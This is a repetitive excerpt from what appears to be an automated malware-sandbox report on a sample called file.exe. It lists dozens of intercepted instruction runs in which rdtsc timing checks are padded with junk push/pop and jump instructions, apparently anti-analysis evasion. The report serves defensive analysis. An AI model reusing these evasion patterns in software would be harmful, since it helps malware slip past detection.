Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158EB8 second address: 1158EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158EBC second address: 1158EC4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158EC4 second address: 1158ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158ECA second address: 1158ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115904E second address: 115905A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jp 00007F32DCC6AEF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BBD4 second address: 115BBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162733 second address: 1162737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160EFB second address: 1160F30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C533Ah 0x00000007 jmp 00007F32DD0C5349h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnc 00007F32DD0C5346h 0x00000014 push eax 0x00000015 push edx 0x00000016 jnl 00007F32DD0C5336h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161069 second address: 116108D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F32DCC6AEF6h 0x0000000e jmp 00007F32DCC6AF06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116108D second address: 11610A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32DD0C5345h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11610A8 second address: 11610B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161264 second address: 1161280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DD0C5348h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11616A1 second address: 11616A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11616A7 second address: 11616B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007F32DD0C5336h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11616B8 second address: 11616C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32DCC6AEFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11616C7 second address: 11616CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116182D second address: 1161844 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161844 second address: 116184E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116184E second address: 1161852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161852 second address: 1161858 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161858 second address: 116187E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F32DCC6AEFEh 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 push esi 0x00000016 jns 00007F32DCC6AEF6h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116187E second address: 1161883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161883 second address: 116188F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F32DCC6AEF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11624A7 second address: 11624AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116640F second address: 1166440 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007F32DCC6AEF6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c jnc 00007F32DCC6AEFCh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jo 00007F32DCC6AEFAh 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F32DCC6AEFAh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166440 second address: 1166464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F32DD0C5336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32DD0C5346h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165711 second address: 116572B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DCC6AF06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116572B second address: 116572F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116572F second address: 116576A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F32DCC6AEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F32DCC6AEFFh 0x00000011 popad 0x00000012 pushad 0x00000013 push ebx 0x00000014 jl 00007F32DCC6AEF6h 0x0000001a jnc 00007F32DCC6AEF6h 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F32DCC6AEFEh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116576A second address: 116576E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116576E second address: 1165786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F32DCC6AEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32DCC6AEFAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165786 second address: 1165790 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32DD0C5336h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165A6C second address: 1165A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165A74 second address: 1165A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165A78 second address: 1165A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165A7C second address: 1165A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 js 00007F32DD0C5336h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jbe 00007F32DD0C533Ch 0x00000018 jns 00007F32DD0C5336h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165D5E second address: 1165D72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 js 00007F32DCC6AEF6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F32DCC6AEF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165D72 second address: 1165D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165D76 second address: 1165DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F32DCC6AEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jp 00007F32DCC6AEF8h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007F32DCC6AEFDh 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165DA0 second address: 1165DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F32DD0C5336h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165DAA second address: 1165DBA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F32DCC6AEF6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165F13 second address: 1165F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11689D3 second address: 11689E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32DCC6AEFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170D8B second address: 1170D8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EDEC second address: 116EDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EDF0 second address: 116EE15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 ja 00007F32DD0C5348h 0x0000000e jmp 00007F32DD0C5342h 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EF95 second address: 116EF9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EF9E second address: 116EFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007F32DD0C5342h 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F2B8 second address: 116F2C2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32DCC6AEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F2C2 second address: 116F2FE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F32DD0C5342h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jbe 00007F32DD0C5336h 0x00000011 jns 00007F32DD0C5336h 0x00000017 jnc 00007F32DD0C5336h 0x0000001d popad 0x0000001e pop edx 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jg 00007F32DD0C533Eh 0x00000028 je 00007F32DD0C5336h 0x0000002e push esi 0x0000002f pop esi 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F2FE second address: 116F309 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FC02 second address: 116FC06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FC06 second address: 116FC0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117049A second address: 11704AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32DD0C533Dh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170790 second address: 11707BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push edi 0x00000009 jmp 00007F32DCC6AEFEh 0x0000000e pop edi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F32DCC6AF02h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170A8E second address: 1170AA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C533Dh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170AA2 second address: 1170AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnc 00007F32DCC6AEF6h 0x00000012 jnl 00007F32DCC6AEF6h 0x00000018 jnl 00007F32DCC6AEF6h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170AC5 second address: 1170AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170AC9 second address: 1170AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F32DCC6AEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117625F second address: 1176263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176263 second address: 117626D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117626D second address: 1176271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176271 second address: 117627B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F32DCC6AEF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117627B second address: 1176281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176281 second address: 11762BF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F32DCC6AEFAh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F32DCC6AF08h 0x00000016 push esi 0x00000017 pop esi 0x00000018 popad 0x00000019 jmp 00007F32DCC6AF02h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11762BF second address: 11762C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11762C7 second address: 11762CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11790BB second address: 11790BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11790BF second address: 11790C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117921C second address: 1179220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11794A8 second address: 11794AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117964E second address: 117965B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jo 00007F32DD0C5336h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117965B second address: 1179678 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F32DCC6AEFEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F32DCC6AF00h 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179AF0 second address: 1179B2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5343h 0x00000007 jmp 00007F32DD0C533Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jng 00007F32DD0C533Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179CD9 second address: 1179CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179CDF second address: 1179CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181489 second address: 118148D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118148D second address: 118149F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DD0C533Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118149F second address: 11814B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AEFCh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11814B0 second address: 11814D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F32DD0C5344h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181764 second address: 118177D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F32DCC6AEF6h 0x0000000a pop eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jp 00007F32DCC6AEF6h 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118177D second address: 1181796 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5341h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181D2D second address: 1181D44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF01h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181D44 second address: 1181D77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5346h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jc 00007F32DD0C5336h 0x00000014 popad 0x00000015 jmp 00007F32DD0C533Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181D77 second address: 1181D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181D7D second address: 1181D81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA942 second address: 10CA946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA946 second address: 10CA965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F32DD0C533Eh 0x0000000e jp 00007F32DD0C5336h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA965 second address: 10CA96A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186849 second address: 1186852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118962C second address: 1189637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189637 second address: 118963B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118963B second address: 1189670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF07h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F32DCC6AF04h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C8D1 second address: 118C8DF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C8DF second address: 118C8E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C34A second address: 118C364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F32DD0C5336h 0x0000000a popad 0x0000000b jmp 00007F32DD0C533Ch 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F8B0 second address: 118F8B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
